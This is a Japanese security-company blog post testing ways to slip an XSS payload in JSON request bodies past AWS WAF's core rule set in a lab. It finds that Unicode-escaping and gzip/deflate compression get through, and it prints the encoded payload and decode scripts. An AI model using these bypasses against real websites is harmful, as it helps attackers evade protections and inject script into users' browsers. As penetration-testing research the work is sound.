application/json形式のAWS WAF Bypass

はじめに

技術部の桜です。

今回は、application/jsonにおけるAWS WAFのバイパスを試してきました。

この記事ではまず、 RFC 8259(The JavaScript Object Notation (JSON) Data Interchange Format)を読む過程でWAF Bypassに使えそうだなと思った事を検証しています。

次に、上記の検証を経て気になったことを検証しています。

環境

上記のような構成で、セキュリティグループにより自宅IPからのHTTP, SSHアクセスのみを許可しています。

また、EC2上でDockerを使用し、Nginx、Express×Node.js、PostgreSQLを動かしてXSSを意図的に埋め込んだ脆弱なアプリケーションを構築しています。
(Nginxを動かす必要はないとは思いますが、勉強を兼ねて動かしています。)

検証について

XSSを対象にして、AWS WAFバイパスの検証を行いますが、
実際に悪用できるかはアプリケーションの実装次第(私のさじ加減)のため、検証を行いません。
あくまで、AWS WAFのバイパスのみを検証します。

今回、XSSを対象としているため、AWS WAF Web ACLにおけるAWS マネージドルール ルールグループリストの中の一つである、コアルールセット (CRS) マネージドルールグループを使用します。

理由としては、XSSパターンがリクエストボディに存在しないかを調べてくれるルールがあるためです。 (他にもLFIなどを調べてくれたりします。詳しくはドキュメントを見てください。)

また、ルールにはバージョンがあり、AWS マネージドルールの一般的なバージョン状態によると、

デフォルトバージョンは推奨されている静的バージョンを指します

とありますので、今回はバージョン Default (using Version_1.10)を使用します。

以後、WAFという表現はバージョン Default (using Version_1.10)のコアルールセットが適用されているAWS WAFとします。

次に、検証する内容です。

まず以下の3つをそれぞれ検証し、WAFのバイパスができるかを確認します。

  • 2重キーを使用する。
  • BOMをJSON文字列の開始タグの前につける。
  • Unicodeでエンコードを行う。

WAFに検知されなかった場合はそのペイロードを使い、いくつかの言語 (PHP, Ruby, Python) で攻撃が成立しそうかをローカルで検証します。

検証に入る前に

今回の検証では以下のペイロードを使用します。

<script>alert(1)</script>

このペイロードが、WAFに検知されることを確認しておきましょう。

まず最初に正常系のリクエストです。

次にWAFに検知されることを期待したリクエストです。

今回使用するペイロードはしっかりとWAFによって検知されていそうです。

検証

2重キーを使用する

RFCには、「name部分は基本的に一意であるべき」と言った事が記載されていると、私は解釈しています。

では、キー (name)が2つ存在する時、アプリケーションは後ろのキーの値を処理に使用するのにも関わらず、WAFは先頭のキーもしくは値を検査するのみで、後ろのキーは検査しない、といった挙動が起きないかを検証してみます。12

ここでは、以下2つの状況を検証します。

  1. 後ろのキーの値に、WAFによって検知されるペイロードを持つ場合
  2. 前のキーの値に、WAFによって検知されるペイロードを持つ場合

1. 後ろのキーの値に、WAFによって検知されるペイロードを持つリクエスト

2. 前のキーの値に、WAFによって検知されるペイロードを持つリクエスト

結果は、どちらもWAFに検知されていることがわかります。

キーが2つ存在する時、WAFは前・後のみを検査するという事はないため、どちらかに無害な値を入れておくことで、WAFをバイパスできるということはなさそうです。

BOMをJSON文字列の開始タグの前につける

byte order mark (BOM)をJSON文字列の前につけることは、MUST NOTです。

「だめと言われたらやるしか無い」ということで、JSON文字列の前にBOMをつけてみます。

これにより、WAFがJSON文字列をパースできないなどの理由で、検査できないなどを期待します。

BOM付きJSON文字列を作成するために、以下のスクリプトを使います。

bom.js

const data = `${String.fromCodePoint(0xfeff)}{"name":"<script>alert(1)</script>"}`;
process.stdout.write(data);

BOMがしっかりついているかを確認

node bom.js | xxd
00000000: efbb bf7b 226e 616d 6522 3a22 3c73 6372  ...{"name":"<scr
00000010: 6970 743e 616c 6572 7428 3129 3c2f 7363  ipt>alert(1)</sc
00000020: 7269 7074 3e22 7d                        ript>"}

Wikipedia バイト順マーク各符号化形式(符号化スキーム)ごとのバイト順マーク部分を見ると、UTF-8におけるBOMは0xEF 0xBB 0xBFと記載されています。

xxdコマンドの結果を見るとJSON文字列の前にefbb bfがいるので、意図した結果となっていそうです。

ではbom.jsの出力をコピーして、リクエストのBody部分に貼り付けます。

結果はWAFに検知されてしまいました。

Unicodeでエンコードを行う

Unicodeを使用したバイパスを行います。3

エンコードはCyberChefを使って行います。

https://gchq.github.io/CyberChef/#recipe=Escape_Unicode_Characters('%5C%5Cu',true,4,true)&input=PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg

-- エンコード 前
<script>alert(1)</script>

-- エンコード 後
\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u003E\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E

無事バイパスできていそうです。

ではPHP, ruby, pythonでペイロードがどのように解釈されるかを確認してみましょう。

decode.php

<?php
$data = '{"name":"\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u003E\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E"}';
$result = json_decode($data);
$name = $result->name;
print $name; // <script>alert(1)</script>

decode.rb

require 'json'

data = '{"name":"\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u003E\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E"}';
parsed =  JSON.parse(data)
puts parsed["name"] # <script>alert(1)</script>

decode.py

import json
data = '{"name":"\u003C\u0073\u0063\u0072\u0069\u0070\u0074\u003E\u0061\u006C\u0065\u0072\u0074\u0028\u0031\u0029\u003C\u002F\u0073\u0063\u0072\u0069\u0070\u0074\u003E"}'
parsed = json.loads(data)
print(parsed["name"]) # <script>alert(1)</script>

結果はすべて<script>alert(1)</script>と解釈するので、Unicodeでエンコードを行う事はかなり使えそうです。

検証を経て

一度わかりやすく表にしてみます。
実装依存の場合がありますが、バイパスが成功していれば結果は○とします。

方法 結果
2重キーを使用する ×
BOMをJSON文字列の開始タグの前につける ×
Unicodeでエンコードを行う

これらの結果から、ペイロードを難読化(と言うと大げさな気がしますが)のように、解釈されにくくする事がWAFのバイパスで有効と言えそうです。

イメージ

ただし、URLエンコードは対応されています。

URLエンコード1回

URLエンコード2回

では、WAFはある文字として認識できないが、アプリケーションはある文字として認識できるようなエンコード方式などがあれば更にバイパスが出来るのではないでしょうか。

WAFとアプリケーション解釈が変わるような方法を探す

gzip, deflateの利用

ここではPHP, Ruby, Pythonでの検証は行わず、Express×Node.jsのみに焦点をあてます。

検証環境では、Expressがapplication/jsonを解釈出来るように、express.json()を使用しています。

server.js

app.use(express.json());
app.use(express.urlencoded({ extended: true}));

express.json()のドキュメントを読むと、以下のような事が書いてあります。

  • 「Express APIリファレンスexpress.json()より引用」

    This is a built-in middleware function in Express. It parses incoming requests with JSON payloads and is based on body-parser.

express.json()は、Expressにおいて、JSON形式のリクエストをパースしてくれるミドルウェアのようです。

実はこのexpress.json()のドキュメントには興味深いことが書いてあります。

supports automatic inflation of gzip and deflate encodings.

gzipとdeflateの自動展開をサポートしているようです。

また、この機能はinflateプロパティで操作できるようですが、デフォルトでtrueです。

では、これを使いバイパスを行うことは出来ないかを検証してみます。

検証: gzipを用いてWAFをバイパスする

検証するためには、gzipを用いて圧縮したペイロードを作る必要があります。

これはBurpSuiteのHackvertorという拡張機能がおすすめです。

まず、Repeaterに{"name": "<script>alert(1)</script>"}をBodyに持つContent-Type: application/jsonのリクエストを送ります。
次に、Content-Encoding: gzipを追加して、Hackvertorgzip_compressタグでペイロードを囲います。

ここまで出来たらリクエストを送信しましょう。

バイパスが出来ていそうです。4

検証: deflateを用いてWAFをバイパスする

検証: gzipを用いてWAFをバイパスすると基本的に手順は一緒ですが、以下の2点を変更してください。

  • Content-Encodingをdeflateにする。
  • Hackvertorで、deflate_compressタグを使用する。

こちらもバイパス出来ていそうです。

パースの実装依存を利用する

JSON文字列のパースの結果は言語によって違う部分があります。

例えば、rubyのJSON.parse()は、\ssとして解釈をします。5

decode.rb

require 'json'

data = '{"name":"<\script>alert(1)</\script>"}';
parsed =  JSON.parse(data)
puts parsed["name"] # <script>alert(1)</script>

ただし、他の言語 (Python, PHP)ではエラーになったり、うまく解析出来ません。

decode.php

<?php
$data = '{"name":"<\script>alert(1)</\script>"}';
var_dump(json_decode($data)); // NULL

decode.py

import json
data = '{"name":"<\script>alert(1)</\script>"}'
parsed = json.loads(data)
print(parsed) # SyntaxWarning: invalid escape sequence '\s'

では、実装次第で攻撃に繋げることが出来そうであるため、<\script>alert(1)</\script>でWAFバイパスが出来るかを検証してみます。

検証: パースの実装依存を利用する

結果はJSON.parse()がエラーを吐くので、Internal Server Errorになりました。

エラーログ

SyntaxError: Bad escaped character in JSON at position 11 (line 1 column 12)
    at JSON.parse (<anonymous>)
    ....
    ....

ただし、このエラーはDockerで動かしているアプリケーションが吐いているものなので、WAFに検知はされていません。

このことから、実装次第で攻撃につなげることは可能だと言えそうです。

まとめ

では今までの結果を表にまとめてみましょう。
実装依存の場合がありますが、バイパスが成功していれば結果は○とします。

方法 結果
2重キーを使用する ×
BOMをJSON文字列の開始タグの前につける ×
Unicodeでエンコードを行う
gzip, deflateで圧縮したペイロードを送る
パースの実装依存を利用する

本来WAFに検知されるようなペイロードでも、エンコードなどを使用してWAFに怪しいと認識をさせなければ、かなり簡単にWAFをバイパス出来るという結果になりました。

最後に

弊社では、今回のように診断技術を向上させるための検証を行っています。

脆弱性診断を行う予定がございましたら、ホームページよりお問い合わせが可能ですので、ぜひ一度弊社にお声掛けいただけますと幸いです。


  1. AWS WAF Bypass: invalid JSON object and unicode escape sequences #JSON duplicate keysにて、既に紹介されています。 ↩︎

  2. SECCON Beginners CTF 2021【Web】json 作問者writeupでも取り上げられています。 ↩︎

  3. AWS WAF Bypass: invalid JSON object and unicode escape sequencesによって紹介されています。 ↩︎

  4. CVE-2021-45468: Imperva Cloud WAFにおいて、Content-Encoding: gzipを使用したHTTP POSTでWAFがリクエストを評価しないといったことが起きていたようです。 ↩︎

  5. Flatt Security Developers' Quiz #6で解法の一例として紹介されています。 ↩︎

© 2016 - 2024 DARK MATTER / Built with Hugo / テーマ StackJimmy によって設計されています。